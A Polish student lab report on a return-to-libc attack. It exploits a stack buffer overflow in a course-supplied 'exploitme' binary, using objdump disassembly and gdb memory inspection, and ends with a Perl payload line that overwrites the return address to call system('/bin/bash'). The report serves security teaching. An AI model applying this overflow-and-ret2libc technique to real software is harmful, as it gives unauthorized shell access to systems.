Bezpieczeństwo usług sieciowych

Laboratorium 4: exploitme.

Szymon Bagiński

29 grudnia 2018

1 Cel zadania

Celem tego zadania było wykorzystanie luki w bezpieczeństwie programu **exploitme**, dostarczonego przez prowadzącego, tak aby za jego pomocą uzyskać dostęp do lini poleceń systemu: **bash**.

2 Wykonanie

2.1 Podatność na ataki

Program **exploitme** możemy uruchomić z konsoli systemowej nie podając mu na wejście żadnych argumentów. Gdy to zrobimy zostanie wyświetlona wiadomość zachęcająca do wpisania kodu:

```
$ ./exploitme
Give me code!
```

Najwyraźniej program oczekuje podania jakiegoś kodu (argumentu), który potem najprawdopodobniej przechowuje w pamięci i w jakiś sposób przetwarza.
Zobaczmy więc, co się stanie gdy podamy jakiś kod o niewielkiej długości.

```
$ ./exploitme 111
To continue you must provide security access token (21 digits)
The access token you provided is invalid.  Good bye.
Finished
```

W powyższego komunikatu wynika, że podany kod jest niepoprawny. Widzimy także podpowiedź, że program oczekuje klucza o długości 21 znaków. Tutaj pojawia się pierwsza potencjalna luka w bezpieczeństwie. Jeśli program wpisuje podany argument do bufora o z góry określonym rozmiarze można to wykorzystać. Zobaczmy więc czy uda się go przepełnić.

```
$ ./exploitme
11111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111
To continue you must provide security access token (21 digits)
111111111111111111111111111111111111111111111111111111111111111111111111111111
Segmentation fault (core dumped)
```

Przy próbie podania klucza o długości równej 81 cyfr wykonanie programu kończy się naruszeniem ochrony pamięci (*Segmentation fault*), co spowodowane jest najprawdopodobniej próbą pisania do pamięci nieprzeznaczonej do tego. Znaleźliśmy więc miejsce gdzie program zachowuje się w sposób, którego programista nie przewidział. W następnym kroku postaramy się to wykorzystać.

2.2 Deasemblacja programu

Aby zobaczyć kontekst przepełnienia bufora z poprzedniego kroku, najpierw poddajemy plik binarny programu deasemblacji, czyli tłumaczeniu na **Asembler**.

```
$ objdump -d exploitme > as.s
```

Program **objdump** użyty z flagą **-d**, wygeneruje nam kod asemblera, który następnie, dla wygody, jest przekierowany do pliku *as.s*. Możemy w nim odnaleźć etykietę `main`, która oznacza pierwszy adres funkcji rozpoczynającej działanie programu. Przepełnienie bufora można wykorzystać przy wywoływaniu funkcji poprzez podmianę adresu powrotu, więc to co nas interesuje na początku to instrukcja `call`, która układa na stosie bieżące wartości rejestrów EIP oraz ew. CS tak aby później było można wrócić do miejsca gdzie wykonany był skok, a następnie wykonuje skok do danej etykiety.

Pierwsze trzy wywołania `call` wykorzystują funkcje biblioteczne języka C (`puts` - wypisująca ciąg znaków, oraz `malloc` - przydzielającą ileś bajtów pamięci), więc nie są interesujące z naszego punktu widzenia. Dalej natomiast wywoływana jest funkcja `validate`. Jej nazwa, oraz to, że wołana jest na początku programu sugeruje, że może chodzić o sprawdzanie podanego argumentu wejściowego.

```
080485a4 <validate>:
80485a4:  55 push %ebp
80485a5:  89 e5 mov %esp,%ebp
80485a7:  83 ec 68 sub $0x68,%esp
80485aa:  8b 45 08 mov 0x8(%ebp),%eax
80485ad:  89 44 24 04 mov %eax,0x4(%esp)
80485b1:  8d 45 b3 lea -0x4d(%ebp),%eax
80485b4:  89 04 24 mov %eax,(%esp)
80485b7:  e8 d8 fe ff ff call 8048494 <strcpy@plt>
80485bc:  b8 00 00 00 00 mov $0x0,%eax
```

```
80485c1:  c9 leave
80485c2:  c3 ret
```

W funkcji `validate` najpierw wykonuje się przygotowanie ramki stosu poprzez dwulinijkową wersję instrukcji `enter`. Następnie przygotowuje się argumenty dla funkcji `strcpy`, która kopiuje ciąg znaków z miejsca wskazanego przez drugi argument do miejsca wskazanego przez pierwszy argument. Źródłem danych jest pierwszy parametr funkcji validate - 0x8(%ebp). Dalej widzimy, że adresem docelowym kopiowania jest miejsce poniżej aktualnego wskaźnika do danych na stosie o 0x4d. Jeśli podamy więc odpowiednio długi ciąg znaków na wejściu funkcja `strcpy` nadpisze ona adres powrotu z funkcji `validate`.

2.3 Uruchomienie programu bash przez exploitme

Zachowanie programu opisane w poprzednim kroku można wykorzystać do uzyskania dostępu do lini poleceń. W tym celu należy dobrać dane wejściowe tak, aby adres powrotu z funkcji validate został zastąpiony przez adres innej funkcji, np. funkcji `system`, która wykonuje komendę powłoki, przekazaną jako jedyny parametr. Po adresie funkcji należy umieścić adres funkcji, do której chcielibyśmy przejść po wykonaniu funkcji `system`, a dalej wskaźnik na pierwszy jej argument. Aby więc wywołać komendę `/bin/bash` musimy znaleźć lub utworzyć gdzieś w pamięci programu taki ciąg znaków, i użyć jego adresu jako argumentu funkcji `system`.

Z podpowiedzi uzyskanej od prowadzącego wynika, że napis "/bin/bash" można znaleźć w funkcji `destroy_world`.

```
080485d7 <destroy_world>:
80485d7:  55 push %ebp
80485d8:  89 e5 mov %esp,%ebp
80485da:  83 ec 18 sub $0x18,%esp
80485dd:  c7 04 24 10 88 04 08 movl $0x8048810,(%esp)
80485e4:  e8 cb fe ff ff call 80484b4 <puts@plt>
80485e9:  a1 30 a0 04 08 mov 0x804a030,%eax
80485ee:  89 04 24 mov %eax,(%esp)
80485f1:  e8 be fe ff ff call 80484b4 <puts@plt>
80485f6:  c9 leave
80485f7:  c3 ret
```

Aby sprawdzić co kryje się pod nieczytelnymi dla człowieka adresami możemy skorzystać z debuggera **gdb**.

Aby go uruchomić z programem **exploitme** z podanym argumentem należy użyć np. polecenia:

```
$ gdb -args exploitme 1111111111111111111
```

Następnie musimy założyć breakpoint aby przerwać działanie programu i podejrzeć jego pamięć. Aby zatrzymać się np. na początku funkcji main możemy użyć polecenia:

```
(gdb) break main
```

Komenda `run` uruchomi program, który powinien się zatrzymać na pierwszym breakpoincie.

```
(gdb) run
```

W funkcji `destroy_world` widzimy kilka adresów, których wartości warto sprawdzić. Aby podejrzeć wartość jaka np. pod adresem `0x804a030` jako ciąg znaków należy użyć polecenia:

```
(gdb) x/s 0x804a030
0x804a030 <bash>:  "\I \004\b\200\365\370", <incomplete sequence \367>
```

Widzimy, że wartość pod tym adresem nie jest odpowiednia do interpretacji jako ciąg znaków. Spróbujmy więc podejrzeć wartość 4 kolejnych bajtów, które znajdują się pod tym adresem, a następnie użyjmy ich jako potencjalnego wskaźnika do szukanego tekstu.

```
(gdb) x/4x 0x804a030
0x804a030 <bash>:  0xd0 0x87 0x04 0x08
(gdb) x/s 0x80487d0
0x80487d0:  "/bin/bash"
```

Udało nam się znaleźć pożądany napis. Warto zwrócić uwagę na fakt, że architektura x86/x64 używa kolejności zapisu bajtów typu **Little endian**. Zatem tworząc wartość adresu z 4 kolejnych bajtów, należy odwrócić ich kolejność.

Mamy już wszystkie elementy aby uzyskać dostęp do powłoki **bash** poprzez uruchomienie programu **exploitme** z odpowiednim parametrem. Aby to osiągnąć na wejście programu należy najpierw podać 81 cyfr, aby przepełnić bufor, następnie podajemy adres funkcji `system`, adres powrotu oraz adres napisu "/bin/bash". Adresem powrotu będzie funkcja exit, której adres można znaleźć w kodzie asemblerowym programu (`0x080484d4`). Adres funkcji system możemy sprawdzić dzięki poniższej komendzie:

```
(gdb) disassemble system
```

Kompletna komenda dzięki, której dostaniemy dostęp do powłoki jest zaprezentowane poniżej. Do konkatenacji ciągów znaków został użyty operator '**.**' z języka **Perl**. Należy także zauważyć, że bajty w adresach są zapisany w odwrotnej kolejności co zostało wyjaśnione wcześniej.

```
$ gdb -args exploitme `perl -e'print "1"x81 .  "\xf0\x48\xdf\xf7" .
"\xd4\x84\x04\x08" .  "\xd0\x87\x04\x08"'`
```